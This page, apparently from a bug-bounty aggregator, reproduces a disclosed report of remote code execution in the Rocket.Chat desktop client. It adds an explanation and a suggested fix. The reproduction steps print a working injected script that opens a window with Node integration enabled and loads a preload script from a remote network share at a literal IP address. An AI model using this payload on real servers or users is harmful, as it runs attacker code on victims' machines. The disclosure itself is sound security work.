Skip to content
RCE Disclosed report Intermediate

Remote Code Execution in Rocket.Chat-Desktop

Rocket.Chat-Desktop allowed a server administrator to inject a custom script that opened a new window with Node integration enabled and a preload script loaded from a remote network share. This let the attacker run arbitrary code on the victim's machine, as demonstrated by a command prompt appearing.

sectex Follow

Originally disclosed on HackerOne

Critical 9.0 View original
  • Triaged in 17 hours
  • Fixed in 2 months
  • Disclosed after 3 months

Description: Rocket.Chat-Desktop is vulnerable to remote code execution. An attacker is able to create new BrowserWindow instances with a malicious preload script.

Releases Affected:

  • Rocket.Chat-Desktop-Client: < v3.0.0-develop

Steps To Reproduce (by setting up a malicious server):

  1. Go to Administration » Layout » Custom Scripts » Custom Script for Logged In Users
  2. Insert the following script: window.open('data:text/html,<h1>PWNED</h1>', '', ['nodeIntegration=true', 'preload=\\\\45.155.173.235\\data\\cmd.js'].join(','))
  3. Click Save changes
  4. Open Rocket.Chat-Desktop and connect to the server
  5. CMD.exe will pop up.

Suggested mitigation

const wrapWindowOpen = (defaultWindowOpen) => (href, frameName, features) => {
     const settings = getSettings();

     features = ''; // <- should fix it

     if (settings && url.parse(href).host === settings.get('Jitsi_Domain')) {
       features = [
         features,
         'nodeIntegration=true',
         `preload=${ `${ remote.app.getAppPath() }/app/preload.js` }`,
       ].join(',');
     }

     return defaultWindowOpen.call(window, href, frameName, features);
};

Impact

Remote Code Execution in Rocket.Chat-Desktop

The original report as published on HackerOne, by sectex. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the window-open wrapper passed attacker-controlled feature strings through to the new window, so nodeIntegration and a remote preload path could be set by the server.

What the attacker needed

Control of a Rocket.Chat server; victim connects the desktop app; victim can reach the remote share

How it was found

  1. Open the server administration custom scripts section for logged-in users.
  2. Insert a script that opens a data URL window with node integration and a preload script from a remote share.
  3. Save the changes.
  4. Open Rocket.Chat-Desktop and connect to that server.
  5. A command prompt window appears on the victim's machine.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The desktop app is built on a browser engine that can also run system-level code. A setting on the chat server let an administrator add a script that told the app to open a new window with that powerful mode switched on and to load extra code from a shared network folder. Because the app trusted those window options, the attacker's code ran on the user's computer.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by sectex

View all

5 more disclosed reports, best first.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.